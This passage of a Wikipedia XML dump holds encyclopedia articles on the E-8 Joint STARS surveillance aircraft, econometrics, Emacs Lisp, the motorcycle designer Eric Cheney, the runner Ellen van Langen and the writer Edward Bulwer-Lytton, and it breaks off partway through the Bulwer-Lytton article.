The radar uses the [[Doppler]] shift theory in order to pick up moving targets. This is distinct from most other radars because looking for the frequency shift means that the system is not looking for returns in the same frequency that they are sent out, so the radar can be used continuously. It has the ability to 'look' from a long range, which the military refers to as a high stand off capability. The antenna can be tilted to either side of the aircraft where it can develop a 120 degree field of view covering nearly 50,000 [[square kilometre|km²]] (19,305 mile²) and is capable of detecting targets at more than 250 km (more than 152 miles). Any objects of sufficient size (vehicle) and density that are moving will show up on the radar.  The radar cannot pick up stationary objects. Objects with a lot of angles (e.g. the inside of a pick-up bed) will give a much better radar signature (called specular returns). In addition to being able to detect, locate and track large numbers of ground vehicles the radar has some limited capability to detect helicopters, rotating antennas and low, slow-moving fixed wing aircraft. Radar operating modes include wide area surveillance, ground moving target indicator (GMTI), fixed target indicator (FTI) target classification and [[synthetic aperture radar]]. 

The radar and computer subsystems on the E-8C can gather and display broad and detailed battlefield information. Data is collected as events occur. This includes position and tracking information on enemy and friendly ground forces. The information is relayed in near-real time to the [[United States Army|US Army]]'s common ground stations via the secure jam-resistant surveillance and control data link (SCDL) and to other ground command, control, communications, computers and intelligence (C4I) nodes beyond line-of-sight via ultra high frequency satellite communications. 

[[Image:GMTI_JSTARS.jpg|370px|thumb|left|Joint STARS GMTI Overlaid on Aerial Image]]

Other major E-8C prime mission equipment are the communications/datalink (COMM/DLX) and operations and control (O&amp;C)subsystems. Eighteen operator workstations display computer-processed data in graphic and tabular format on video screens. Operators and technicians perform battle management, surveillance, weapons, intelligence, communications and maintenance functions.

== Role ==
In support of air-to-ground operations, the E-8C can provide real time information needed to increase ground [[situation awareness]] with intelligence support, attack support and targeting operations including attack aviation, naval surface fire, field artillery and friendly maneuver forces. It also provides information for air and land commanders to gain and maintain control of the battle-space and execute against enemy forces. 

As a battle management and command and control asset, the E-8C can support the full spectrum of roles and missions from peacekeeping operations to major theater war. However, as capable as the E-8's systems are, the information returned has very little detail.  While it can pick up moving vehicles on the complete other side of the battlefield, it can give very little information about the vehicles.  Approximate number of vehicles, location, speed, direction of travel, and the time that the target was detected is about all that can be detected.  Identifying who the target is, what equipment they have, whether it is friendly, hostile, or bystanders, is not possible with this system. That is one of the reasons why it is a joint system, so that other sensors from the other services may reference each other to positively verify JSTARS reports. In the Army, JSTARS is analyzed in the [[Common Ground Station]] (CGS) and disseminated from there.

== History ==
Joint STARS evolved from [[United States Army|US Army]] and [[United States Air Force|US Air Force]] programs to develop, detect, locate and attack enemy armor at ranges beyond the forward area of troops. In 1982, the programs were merged and the [[United States Air Force|US Air Force]] became the lead agent. The concept and sensor technology for the E-8 was developed and tested on the [[Tacit Blue]] experimental aircraft. The prime contract was awarded to [[Northrop Grumman]] (formerly Grumman Aerospace Corporation) in September 1985 for two E-8C development systems. These aircraft deployed in 1991 to participate in [[Operation Desert Storm]], even though they were still in development. The joint program accurately tracked mobile [[Iraq]]i forces, including tanks and [[Scud]] missiles. Crews flew developmental aircraft on 49 combat sorties accumulating more than 500 combat hours and a 100 % mission effectiveness rate. 

Joint STARS developmental aircraft were also called to support the [[NATO]] peacekeeping mission, Operation [[Joint Endeavor]], in December 1995. While flying in friendly air space, the test-bed E-8A and pre-production E-8C aircraft monitored ground movements to confirm compliance with the Dayton Peace Treaty agreements. Crews flew 95 consecutive operational sorties and more than 1,000 flight hours with a 98 % mission effectiveness rate. 

The [[93d Air Control Wing]], which activated [[January 29]], [[1996]], accepted its first aircraft, [[June 11]], [[1996]], and deployed in support of Operation [[Joint Endeavor]] in October. The designated 93d Air Expeditionary Group (Provisional) monitored treaty compliance while [[NATO]] rotated troops through [[Bosnia-Herzegovina]]. The first production E-8C and a pre-production E-8C flew 36 operational sorties and more than 470 flight hours with a 100 % effectiveness rate. The wing declared initial operational capability [[December 18]], [[1997]] after receiving the second production aircraft. Operation Allied Force saw Joint STARS in action again from February to June 1999 accumulating more than 1,000 flight hours and a 94.5 % mission-effectiveness rate in support of the U.S. lead [[Kosovo War]].

On [[October 1]], [[2002]], the 93d Air Control Wing (ACW) was &quot;blended&quot; with the [[116th Bomb Wing]] (BW) in a ceremony at [[Robins AFB]], [[Georgia (U.S. state)|Georgia]].  The 116 BW was an [[Air National Guard]] (ANG) wing equipped with the [[B-1B]] Lancer bomber at [[Robins AFB]].  As a result of a USAF reorganization of the [[B-1B]] force, all B-1Bs were assigned to active duty wings, resulting in the 116 BW lacking a current mission.  Extensive efforts by the [[Governor]] and congressional delegation of [[Georgia (U.S. state)|Georgia]] led to the resulting &quot;blending&quot;, with the newly created wing designated as the [[116th Air Control Wing]] (ACW).  The 93 ACW was deactivated the same day.  The 116 ACW constituted the first fully blended wing of active duty and [[Air National Guard]] airmen. The wing's first and current Commander is [[Brigadier General]] Tom Lynn, while the Deputy Commander is an active duty airman.  The next Wing Commander is planned to be an active duty airman with an ANG Deputy.  

The 116 ACW has been heavily involved in both [[Operation Enduring Freedom]] ([[Afghanistan]]) and Operation Iraqi Freedom, earning high marks for operational effectiveness and recently completing 10,000 combat hours.  The wing took delivery of the 17th and final E-8C on [[March 23]], [[2005]].

The E-8C Joint STARS routinely supports various taskings of the Combined Force Command Korea during the [[North Korea]]n winter exercise cycle and for the [[United Nations]] enforcing resolutions on Iraq. The twelveth production aircraft, outfitted with an upgraded operations and control subsystem, was delivered to the [[United States Air Force|US Air Force]] [[November 5]], [[2001]].

The [[Royal Air Force|RAF]] were impressed by the performance of the Joint STARS system in the Gulf War and subsequent joint operations and commenced studies to procure a similar system. The [[Raytheon Corporation]] was awarded the contract to provide a system comprising the ASARS-2 radar on the [[Bombardier Global Express]] jet. The ASARS-2 is an upgraded version of the [[Lockheed U-2]]'s radar. The system, known as the [[Raytheon Sentinel|'''A'''irborne '''ST'''and '''O'''ff '''R'''adar]] (ASTOR) will enter service in 2005.

The E-8 is slated to be replaced (along with the [[EC-135]] and the [[E-3 Sentry]]) by the [[E-10_MC2A|E-10A Multisensor Command and Control Aircraft (MC2A)]], based upon the Boeing 767-400ER airframe and equipped with the '''M'''ulti-'''P'''latform '''R'''adar '''T'''echnology '''I'''nsertion '''P'''rogram ('''MP-RTIP''') 2-D AESA radar.  Northrop Grumman is teamed with Boeing and Raytheon to produce a testbed version of the E-10A.

== General characteristics ==
* Primary function: Airborne battle management
* Primary contractor: [[Northrop Grumman Corporation]]
* Power plant: Four [[Pratt &amp; Whitney TF33|Pratt &amp; Whitney TF33-102C]]
* Thrust: 19,200 [[Pound-force|lbf]] (85 kN) each engine 
* Length: 152 ft 11 in (46.6 m)
* Height: 42 ft 6 in (13 m)
* Wingspan: 145 ft 9 in (44.4 m)
* Speed: optimum orbit speed 390 to 510 knots (722 to 945 km/h), (Mach 0.52 - 0.65)
* Ceiling: 42,000 ft (12,802 m)
* Maximum takeoff weight: 336,000 lb (152,409 kg)
* Range: 9 hours (unrefueled)
* Unit cost: approximately US$270 million 
* Crew: flight crew of four plus 15 Air Force and three Army specialists (crew size varies according to mission)
* Date deployed: 1996
* Inventory: active force, 17 ; ANG, 0; Reserve, 0

==Proposed engine upgrades==

The USAF has identified re-engining of the E-8C as an &quot;unfunded priority.&quot;  Newer but still used engines would reportedly result in lower maintenance costs, reduced fuel usage, and better performance for the aircraft.

==See also==
*[[Airborne Warning and Control System]] (AWACS)
*[[ASTOR]] ([[Royal Air Force|RAF]] Ground surveillance radar aircraft)

== External links ==
For more information about JSTARS, please visit 
*[http://www.boeing.com/ids/flash.html Boeing Integrated Defence Systems]
*[http://www.es.northropgrumman.com/es/pages/isr/isr_overview.html Northrop Grumman ISR overview]
*[http://www.af.mil/factsheets/factsheet.asp?fsID=100 USAF Fact Sheet]
*[http://www.army.mil/ US Army]
*[http://www.janes.com/aerospace/military/news/jdw/jdw060123_1_n.shtml Airborne surveillance emerges as key in fight against IEDs] Article from www.janes.com

==Related content==
'''Related development:''' 

'''Comparable aircraft:'''

'''Designation sequence:'''
[[Windecker E-5|E-5]] -
[[E-6 Mercury]] -
[[Boeing E-7|E-7]] -
'''E-8 Joint STARS''' -
[[E-9]] -
[[E-10 MC2A]]

{| cellpadding=&quot;1&quot; cellspacing=&quot;0&quot; style=&quot;margin:4px auto; clear:both; font-size:72%&quot;; align=&quot;center&quot;; bgcolor=&quot;#efefef&quot;
|- align=&quot;center&quot;
| bgcolor=&quot;ffffff&quot; |  ||bgcolor=&quot;#CFCFCF&quot;|  '''Modern USAF Series'''|| ''Miscellaneous ''
|- 
|bgcolor=&quot;#ffffff&quot;| || ''Attack''--[[OA-10 Thunderbolt II|OA]]/[[A-10 Thunderbolt II|A-10]],[[AC-130 gunship|AC-130H/U]]||[[RC-135 Rivet Joint|RC-135V/W]]
|-
|bgcolor=&quot;#ffffff&quot; | || ''Bomber--''[[B-52 Stratofortress|B-52]],[[B-2 Spirit|-2]],[[B-1B Lancer|-1B]],[[F-117A Nighthawk|F-117A]]||[[OC-135 Open Skies|OC-135B]]
|-
|bgcolor=&quot;#DCDCDC&quot; | [[E-3 Sentry]] ||''Fighter--''[[F-15 Eagle|F-15]]/[[F-15E Strike Eagle|E ]],[[F-16 Fighting Falcon|F-16]]||[[KC-10 Extender|KC-10]],[[KC-135 Stratotanker|-135]]
|-
|bgcolor=&quot;DCDCDC&quot;|[[E-4B]] || bgcolor=&quot;#DCDCDC&quot; |  ''Electronic--''[[E-3 Sentry|E-3]],[[E-4B|-4B]],[[E-8 Joint STARS|E-8C]] [[EC-130E|EC-130E]]/[[EC-130J|J]],[[EC-130H Compass Call|H]]||[[HC-130P]]/[[HC-130N|N]]
|-
|bgcolor=&quot;DCDCDC&quot;| [[E-8 Joint STARS|E-8C Joint Stars]] || ''Transport--''[[C-5 Galaxy|C-5]],[[C-17 Globemaster III|-17]],[[C-141B Starlifter|-141B]], [[C-20 Gulfstream III|-20]],[[C-21 Learjet|-21]]||[[MC-130E]]/[[MC-130H|H]]/[[MC-130P Combat Shadow|P]]
|-
|bgcolor=&quot;DCDCDC&quot;| [[EC-130E]]/[[EC-130J]]|| [[Boeing C-22|C-22B]], [[Boeing C-32|-32]], [[C-130 Hercules|-130]], [[C-37 Gulfstream V|-37A]], [[C-40 Clipper|-40B/C]]||[[MH-53J Pave Low|MH-53J]]/[[MH-53M Pave Low|M]] 
|-
|bgcolor=&quot;DCDCDC&quot;|[[EC-130H Compass Call]] || ''Trainers--''[[T-1 Jayhawk|T-1]], [[T-37 Tweet|-37]], [[T-38 Talon|-38]], [[Boeing T-43|-43]], [[T-6 Texan II|-6]]||[[HH-60G Pave Hawk|HH-60G]]
|-
|bgcolor=&quot;ffffff&quot;| || ''Weather--''[[WC-130 Hercules|WC-130]], [[WC-135|-135]]||[[UH-1 Iroquois|UH-1N]]
|-
|bgcolor=&quot;ffffff&quot;| || ''UAV--''[[RQ-1 Predator|RQ-1/MQ-1 UAV]], [[Global Hawk]]||[[Lockheed U-2|U-2S/TU-2S]]
|-
|bgcolor=&quot;ffffff&quot;| ||  ||[[VC-25 - Air Force One|VC-25]]
|-
|}

{{airlistbox}}
[[Category:U.S. command and control aircraft 1980-1989]]
[[Category:Radar networks]]

[[de:Boeing E-8]]</text>
    </revision>
  </page>
  <page>
    <title>Electronic Underground Community</title>
    <id>10386</id>
    <revision>
      <id>15908201</id>
      <timestamp>2002-06-22T09:39:05Z</timestamp>
      <contributor>
        <username>Stephen Gilbert</username>
        <id>86</id>
      </contributor>
      <comment>moving from odd capitalization</comment>
      <text xml:space="preserve">#REDIRECT [[electronic underground community]]</text>
    </revision>
  </page>
  <page>
    <title>Eric Cheney</title>
    <id>10388</id>
    <revision>
      <id>21804731</id>
      <timestamp>2005-08-25T14:02:50Z</timestamp>
      <contributor>
        <username>GraemeLeggett</username>
        <id>187158</id>
      </contributor>
      <text xml:space="preserve">'''Eric Cheney''' ([[January 5]], [[1924]] - [[December 30]], [[2001]]) was an independent [[United Kingdom|British]] [[motorcycle]] designer and manufacturer.

Initially a [[motocross]] racer, following an accident he moved into bike preparation and design. He designed primarily motorcycle chassis and suspension systems, his most noted successes were in the world road-racing championships. His designs were the last British ones to win a Grand Prix. He never worked for any of the major manufacturers but maintained a productive relationship with [[Birmingham Small Arms Company|BSA]] in its heyday.

[[Category:1924 births|Cheney, Eric]]
[[Category:2001 deaths|Cheney, Eric]]</text>
    </revision>
  </page>
  <page>
    <title>Econometrics</title>
    <id>10390</id>
    <revision>
      <id>37570154</id>
      <timestamp>2006-01-31T21:05:10Z</timestamp>
      <contributor>
        <ip>84.242.95.6</ip>
      </contributor>
      <text xml:space="preserve">'''''Econometrics''''' literally means 'economic [[measurement]]'.  It is a combination of [[mathematical economics]], statistics, economic statistics and economic theory.  

The two main purposes of econometrics are to give [[empiricism|empirical]] content to economic theory and also to empirically verify economic theory.  For example, econometrics could empirically verify if indeed a given [[demand curve]] slopes downward as economic theory would suggest.  Empirical content is also given in that a numerical value would be given to this slope, while economic theory alone is usually mute on actual specific values.

Arguably the most important tool of econometrics is [[regression analysis]] (for an overview of a linear implementation of this framework, see [[linear regression]]).

Econometric analysis can often be divided into [[time-series analysis]] and [[cross-sectional analysis]].  Time-series analysis examines variables over time, such as the effect of interest rates on national expenditure.  Cross-sectional analysis studies relationship between different variables at a point in time. For instance, the relationship between income, locality, and personal expenditure.  When time-series analysis and cross-sectional analysis are conducted simultaneously on the same [[Statistical sample|sample]], it is called [[panel analysis]]. If the sample is different each time, it is called pooled cross section data. Multi-dimensional panel data analysis is conducted on data sets that have more than two dimensions. For example, some forecast data sets provide forecasts for multiple target periods, conducted by multiple forecasters, and made at multiple horizons. The three dimensions provide more information than can be gleaned from two dimensional panel data sets.

A simple example of a relationship in econometrics is:

:Personal Expenditure = Propensity to Spend * Income + random error 

This statement asserts that the amount a person spends is dependent on his or her [[income]] and his or her willingness to spend [[money]].  If we can observe personal expenditure and income, techniques such as [[Linear regression|regression analysis]] can then be applied to find the value of the coefficients, here just the propensity to spend.  The estimated coefficient can then be compared across samples (such as different countries or income brackets) and conclusions made. 

The above example can also be used to illustrate the many difficulties facing the applied econometrician. For instance, do we really know that the above relationship is correct? Perhaps the true relationship between personal expenditure and income is non-linear (that is, curved). Even if we know the correct theory, it is not certain we can measure personal expenditure and income correctly. For instance, the value of work by  [[homemaker]]s is not recorded although it contributes to income. There are also a variety of statistical pitfalls that potentially lead to incorrect conclusions. Econometrics has dealt extensively with such issues. Often it turns out to be difficult to fully implement the resulting methods in practice.

==People==

[[Bank of Sweden Prize in Economic Sciences in Memory of Alfred Nobel|Nobel Memorial Prize in Economics]] recipients in the field of econometrics:

* [[Jan Tinbergen]] and [[Ragnar Frisch]] were awarded in [[1969]] (the first Nobel Price for Economic Sciences) for having developed and applied dynamic models for the analysis of economic processes
* [[Lawrence Klein]], Professor of Economics at the [[University of Pennsylvania]], was awarded in [[1980]] for his computer modeling work in the field.
* [[Trygve Haavelmo]] was awarded in [[1989]]. His main contribution to econometrics was his 1944 article (published in ''Econometrica'') &quot;The Probability Approach to Econometrics&quot;.
* [[Daniel McFadden]] and [[James Heckman]] shared the award in [[2000]] for their work in microeconometrics. McFadden founded the econometrics lab at the [[University of California, Berkeley]].
* [[Robert Engle]] and [[Clive Granger]] were awarded in [[2003]] for work on analysing economic time series. Engle pioneered the method of [[autoregressive conditional heteroskedasticity]] (ARCH) and Granger the method of [[cointegration]].

The [http://www.feweb.vu.nl/econometriclinks/authors Econometric Author Links of the Econometrics Journal] provides personal links to recent articles and working papers of econometric authors via the [http://repec.org RePEc] system in [http://econpapers.repec.org EconPapers]

== See also ==
* [[List of publications in economics#Econometrics| Important publications in econometrics]]
* Wooldridge, Jeffrey.  &lt;i&gt; Introductory Econometrics: A Modern Approach.&lt;/i&gt;  Mason: Thomson South-Western, 2003.  ISBN 0324113641 
* [http://www.econometriclinks.com Econometric Links]

{{Wiktionary}}

[[Category:Econometrics|*]]

[[be:Эканамэтрыка]]
[[ca:Econometria]]
[[da:Økonometri (økonomi)]]
[[de:Ökonometrie]]
[[el:Οικονομετρία]]
[[es:Econometría]]
[[eo:Ekonometrio]]
[[fr:Économétrie]]
[[it:Econometria]]
[[hu:Ökonometria]]
[[nl:Econometrie]]
[[ja:&amp;#35336;&amp;#37327;&amp;#32076;&amp;#28168;&amp;#23398;]]
[[no:Økonometri]]
[[pl:Ekonometria]]
[[pt:Econometria]]
[[su:Statistik ékonomi]]
[[fi:Ekonometria]]
[[sv:Ekonometri]]
[[tr:Ekonometri]]
[[zh:计量经济学]]</text>
    </revision>
  </page>
  <page>
    <title>Ellen van Langen</title>
    <id>10391</id>
    <revision>
      <id>37972993</id>
      <timestamp>2006-02-03T08:06:39Z</timestamp>
      <contributor>
        <username>D6</username>
        <id>75561</id>
      </contributor>
      <minor />
      <comment>adding [[category:Living people]]</comment>
      <text xml:space="preserve">{| {{prettyinfobox}}
|colspan=3 align=center| [[Image:Olympic-rings.png|center|80px|]]
|- align=center
|colspan=3 | Women's [[Athletics]]
|- align=center
|bgcolor=&quot;gold&quot;| Gold || [[Athletics at the 1992 Summer Olympics|1992]] || 800 metres
|}

'''Ellen Gezina Maria van Langen''' (born  [[February 9]], [[1966]]) is a former [[Netherlands|Dutch]] middle distance runner, who was born in [[Oldenzaal]]. Van Langen has a degree in economics at the [[University of Amsterdam]]. Before she started running, she played [[football (soccer)|football]]. 

At the [[1992 Summer Olympics]] in [[Barcelona]], she won the Olympic title in the 800 m in a time of 1:55.54, a time which remained her personal best. After her major achievement, she was plagued by various injuries. Her best result after 1992 was a 6th place at the [[1995 World Championships in Athletics|1995 World Championships]]. She retired from the sport in [[1998]].


{{Footer_Olympic_Champions_800_m_Women}}

[[Category:1966 births|Langen, Ellen van]]
[[Category:Living people|Langen, Ellen van]]
[[Category:Dutch athletes|Langen, Ellen van]]
[[Category:Middle distance runners|Langen, Ellen van]]
[[Category:Olympic competitors for the Netherlands|Langen, Ellen van]]

[[de:Ellen van Langen]]
[[nl:Ellen van Langen]]</text>
    </revision>
  </page>
  <page>
    <title>Emacs Lisp</title>
    <id>10392</id>
    <revision>
      <id>36615527</id>
      <timestamp>2006-01-25T07:49:44Z</timestamp>
      <contributor>
        <username>Fubar Obfusco</username>
        <id>1200</id>
      </contributor>
      <comment>Emacs Lisp differs heavily from CL/Scheme, because of the scope thing</comment>
      <text xml:space="preserve">'''Emacs Lisp''' is a dialect of the [[Lisp programming language|Lisp]] [[programming language]] used by the [[GNU Emacs]] and [[XEmacs]] [[text editor]]s (which we will collectively refer to as [[Emacs]] in this article.) It is used  for implementing most of the editing functionality built into Emacs, the remainder being written in [[C programming language|C]]. Users of Emacs commonly write Emacs Lisp code to customize and extend Emacs.

Emacs Lisp is sometimes called ''Elisp'', at the risk of confusion with an unrelated Lisp dialect with the same name. In terms of features, it is closely related to the [[Maclisp]] dialect. It supports [[procedural programming|imperative]] and [[functional programming|functional]] programming methods. Lisp was chosen as the extension language for Emacs because of its powerful features, including the ability to treat functions as data.

The Lisp dialect used in Emacs differs substantially from [[Common Lisp]] and [[Scheme]], dialects used for applications programming. Chiefly, Emacs Lisp uses dynamic rather than lexical [[scope (programming)|scope]]. That is, variables bound in a calling function can be referenced from a called function.

Writing Emacs Lisp is not the only method of customizing GNU Emacs. Since version 20, GNU Emacs has included a &quot;Customize&quot; facility which allows users to set common customization variables through a graphical interface. &quot;Customize&quot; works by writing Emacs Lisp code for the user, and is limited to simple customizations. Not every user needs the full degree of extensibility offered by Emacs; those that do must write their own Emacs Lisp code.

==Example==
Here is a simple example of an Emacs extension written in Emacs Lisp. In Emacs, the editing area can be split into separate areas called ''windows'', each displaying a different ''buffer''. A buffer is, roughly speaking, a region of text loaded into Emacs' memory (possibly from a file), which can be saved into a text document.

The user command for opening a new window is &quot;&lt;tt&gt;C-x 2&lt;/tt&gt;&quot; (which means to press the '&lt;tt&gt;x&lt;/tt&gt;' key while holding down the '&lt;tt&gt;control&lt;/tt&gt;' key, and then to press the '&lt;tt&gt;2&lt;/tt&gt;' key &amp;mdash; do not type the space character &amp;mdash; it is shown only for readability). This runs the Emacs Lisp function &lt;tt&gt;split-window-vertically&lt;/tt&gt;. Normally, when the new window appears, it displays the same buffer as the previous one. Suppose we wish to make it display the next available buffer. In order to do this, the user writes the following Emacs Lisp code, in either an existing Emacs Lisp source file or an empty Emacs buffer:

 (defun my-split-window-function ()
   (interactive)
   (split-window-vertically)
   (set-window-buffer (next-window) (other-buffer)))
 
 (global-set-key &quot;\C-x2&quot; 'my-split-window-function)

The first statement, &lt;tt&gt;(defun ...)&lt;/tt&gt;, defines a new function, &lt;tt&gt;my-split-window-function&lt;/tt&gt;, which calls &lt;tt&gt;split-window-vertically&lt;/tt&gt; (the old window-splitting function), then tells the new window to display another buffer. The second statement, &lt;tt&gt;(global-set-key ...)&lt;/tt&gt; re-binds the key sequence &quot;C-x 2&quot; to the new function.

However, there is an easier way to write this. Emacs Lisp has a powerful feature called ''advice'', which allows the user to create wrappers around existing functions instead of defining their own. Using advice, the above code can be reimplemented as follows:

 (defadvice split-window-vertically
   (after my-window-splitting-advice first () activate)
   (set-window-buffer (next-window) (other-buffer)))

This instructs &lt;tt&gt;split-window-vertically&lt;/tt&gt; to execute the user-supplied code whenever it is called, before executing the rest of the function.

These changes take effect when the code is ''evaluated'', using (for instance) the command &quot;&lt;tt&gt;M-x eval-buffer&lt;/tt&gt;&quot;. It is not necessary to recompile or even restart Emacs, which makes customizing Emacs very convenient. If the code is saved into the Emacs &quot;init file&quot; (usually a file named &quot;&lt;tt&gt;.emacs&lt;/tt&gt;&quot; in the user's [[home directory]]), then Emacs will load the extension the next time it starts. Otherwise, the changes will be lost when the user exits Emacs.

==Source code==
Emacs Lisp code is stored as [[plain text]], with the filename suffix &quot;&lt;tt&gt;.el&lt;/tt&gt;&quot; (an exception being the user's init file, which is named &quot;&lt;tt&gt;.emacs&lt;/tt&gt;&quot;.) When the files are loaded, an [[interpreter (computer software)|interpreter]] component of the Emacs program reads and parses the functions and variables, storing them in memory. They are then available to other editing functions, and to user commands. Functions and variables can be freely modified and re-loaded.

In order to save memory space, much of the functionality of Emacs is not loaded until it is needed. Each set of optional features is implemented by a collection of Emacs code called a &quot;library&quot;. For example, there is a library for highlighting keywords in program source code, and a library for playing the game of [[Tetris]]. Each library is implemented using one or more Emacs Lisp source files.

Certain functions are written in C. These are &quot;primitives&quot;, also known as &quot;built-in functions&quot; or &quot;subrs&quot;. Although primitives can be called from the Lisp code, they can only be modified by editing the C source files and recompiling the editor. Primitives are not available as libraries; they are part of the Emacs executable. Functions are written as primitives because C code is faster than Emacs Lisp code. However, only those few functions that need to run quickly and efficiently are written as primitives, because primitives are not as flexible as Emacs Lisp functions.

===Byte code===
The performance of Emacs Lisp code can be further increased by &quot;byte-compilation&quot;. Emacs contains a [[compiler]] which can translate Emacs Lisp source files into a special representation known as [[bytecode]]. Emacs Lisp bytecode files have the filename suffix &quot;&lt;tt&gt;.elc&lt;/tt&gt;&quot;. Compared to source files, bytecode files load faster, occupy less space on the disk, use less memory when loaded, and run faster.

Bytecode is still slower than primitives, but functions loaded as bytecode can be easily modified and re-loaded. In addition, bytecode files are platform-independent. The standard Emacs Lisp code distributed with Emacs is loaded as bytecode, although the matching source files are usually provided for the user's reference as well. User-supplied extensions are typically not byte-compiled, as they are neither as large nor as computationally intensive.

==Language features==
Emacs Lisp uses dynamic, not static (or lexical), [[scope (programming)|scope]]. If a variable is declared within the scope of a function, it is available to subroutines called from within that function. Originally, this was meant to provide greater flexibility for user customizations. However, dynamic scoping has several disadvantages. Firstly, it can easily lead to bugs in large programs, due to unintended interactions between variables in different function. Secondly, accessing variables under dynamic scoping is generally slower than under lexical scoping. As a result, plans have been made to convert Emacs Lisp to lexical scoping, though this has not yet been done.

Emacs does not optimize [[Tail recursion]], which is done in most other Lisp implementations.

==External links==
*[http://www.gnu.org/software/emacs/emacs.html The Emacs page at the Gnu Project]
*R. Chassell, &quot;Programming in Emacs Lisp, an Introduction&quot; http://www.gnu.org/software/emacs/emacs-lisp-intro/emacs-lisp-intro.html
*B. Lewis, D. LaLiberte, R. Stallman, &quot;GNU Emacs Lisp Reference Manual&quot; http://www.gnu.org/software/emacs/elisp-manual/elisp.html
*[http://www.emacswiki.org/cgi-bin/wiki The Emacs Wiki]

[[Category:LISP dialects]]
[[Category:Emacs|Lisp]]

[[de:Emacs Lisp]]
[[es:Emacs Lisp]]
[[fr:Emacs Lisp]]</text>
    </revision>
  </page>
  <page>
    <title>Edward Bulwer-Lytton, 1st Baron Lytton</title>
    <id>10393</id>
    <revision>
      <id>41644503</id>
      <timestamp>2006-02-28T19:29:15Z</timestamp>
      <contributor>
        <username>BillFlis</username>
        <id>846916</id>
      </contributor>
      <minor />
      <comment>/* Legacy */</comment>
      <text xml:space="preserve">[[Image:Edward bulwer-lytton.jpg|thumb|200px|right|'''The Lord Lytton'''&lt;br&gt;&lt;small&gt;Novelist and politician&lt;/small&gt;]]

'''Edward George Earl Bulwer-Lytton, 1st Baron Lytton''' ([[May 25]], [[1803]]&amp;ndash;[[January 18]], [[1873]]) was an [[England|English ]][[novelist]], [[playwright]], and [[politician]].

He was the youngest son of General William Earle Bulwer of Heydon Hall and Wood Dalling, and Elizabeth Barbara Lytton, daughter of Richard Warburton Lytton of Knebworth, Hertfordshire.
He had two brothers, [[William Bulwer-Lytton|William]] (1799-1877) and [[Henry Bulwer-Lytton|Henry]] (1801-1872), afterwards Lord Dalling. His son [[Robert Bulwer-Lytton, 1st Earl of Lytton]] was viceroy of India from 1876 to 1880.

==Life==
Bulwer's father died when he was four years old, after which his mother moved to [[London]].  A delicate and neurotic, but precocious, child, he was sent to various boarding schools, where he was always discontented until a Mr Wallington at Baling encouraged him to publish, at the age of fifteen, an immature work, ''Ishmael and other Poems''.

In [[1822]] he entered [[Trinity College, Cambridge]], but moved shortly afterwards to [[Trinity Hall, Cambridge |Trinity Hall]], and in 1825 won the Chancellor's medal for English verse.  In the following year he took his B.A. degree and printed for private circulation a small volume of poems, ''Weeds and Wild Flowers''. He purchased a commission in the army, but sold it again without serving, and in August 1827 married, in opposition to his mother's wishes, [[Rosina Bulwer Lytton|Rosina Doyle Wheeler]] ([[1802]]-[[1882]]). Upon their marriage, Bulwer's mother withdrew his allowance, and he was forced to set to work seriously.  

His writing and his efforts in the political arena took a toll upon his marriage to Rosina, and they were legally separated in 1836. Three years later, she published a novel called ''Cizeveley, or the Man of Honour'', in which Bulwer was bitterly caricatured.  In June 1858, when her husband was standing as parliamentary candidate for Hertfordshire, she appeared at the [[hustings]] and indignantly denounced him. She was consequently placed under restraint as insane, but liberated a few weeks later.  This was chronicled in her book ''[[A Blighted Life]]''.  For years she continued her attacks upon her husband's character; she would outlive him by nine years.

According to [[Fulham Football Club]], he once resided in the original [[Craven Cottage]], which has since been destroyed by fire. Upon being rebuilt, the club started to play their games nearby it and eventually built a stadium on the land, which is still used today.

==Political career==

Bulwer began his career as a follower of [[Jeremy Bentham]]. In 1831 he was elected member for St Ives in Huntingdon, after which he was returned for Lincoln in 1832, and sat in parliament for that city for nine years.

He spoke in favour of the [[Reform Act 1832|Reform Bill]], and took the leading part in securing the reduction, after vainly essaying the repeal, of the newspaper stamp duties.

His influence was perhaps most keenly felt when, on the Whigs' dismissal from office in 1834, he issued a pamphlet entitled ''A Letter to a Late Cabinet Minister on the Crisis''. [[William Lamb, 2nd Viscount Melbourne|Lord Melbourne]], then Prime Minister, offered him a lordship of the [[admiralty]], which he declined as likely to interfere with his activity as an author.

In 1838 Bulwer, then at the height of his popularity, was created a baronet, and on succeeding to the Knebworth estate in 1843 added Lytton to his surname, under the terms of his mother's will. In 1845, he left Parliament and spent some years in continental travel, reentering the political field in 1852; this time, having differed from the policy of [[John Russell, 1st Earl Russell|Lord John Russell]] over the [[Corn Laws]], he stood for Hertfordshire as a [[UK Conservative Party|Conservative]]. Bulwer held that seat till 1866, when he was raised to the [[peerage]] as '''Baron Lytton of Knebworth'''. In 1858 he entered [[Edward Smith-Stanley, 14th Earl of Derby|Lord Derby]]'s [[Second Derby Ministry|government]] as [[Secretary of State for the Colonies]], thus serving alongside his old friend Disraeli. In the [[House of Lords]] he was comparatively inactive.

He took a proprietary interest in the development of the Crown Colony of British Columbia and wrote with great passion to the Royal Engineers upon assigning them their duties there.  The former [[Hudson's Bay Company|HBC]] Fort Dallas at [[Camchin]], the confluence of the [[Thompson River|Thompson]] and [[Fraser River]]s, was renamed in his honour as [[Lytton, British Columbia]].

==Literary career==

Bulwer-Lytton's literary career began in [[1820]], with the publication of his first book of poems, and spanned much of the [[nineteenth century]]. He wrote in a variety of genres, including [[historical fiction]], [[mystery]], [[Romance (genre)|romance]], the [[occult]] and [[science fiction]].

In [[1828]] he attracted general attention with ''Pelham'', an intimate study of the dandyism of the age that kept gossips busy in identifying the characters with the leading men of the time. By [[1833]], he had reached the height of his popularity with ''Godolphin'', followed by ''The Pilgrims of the Rhine'' (1834), ''[[The Last Days of Pompeii]]'' (1834), ''Rienzi'' (1835), and ''Last of the Saxon Kings'' (1848).  &quot;[[The Last Days of Pompeii]]&quot; was inspired by the painting on the same subject by Russian painting Karl Briullov (Carlo Brullo) which Bulwer-Lytton saw in Milan.

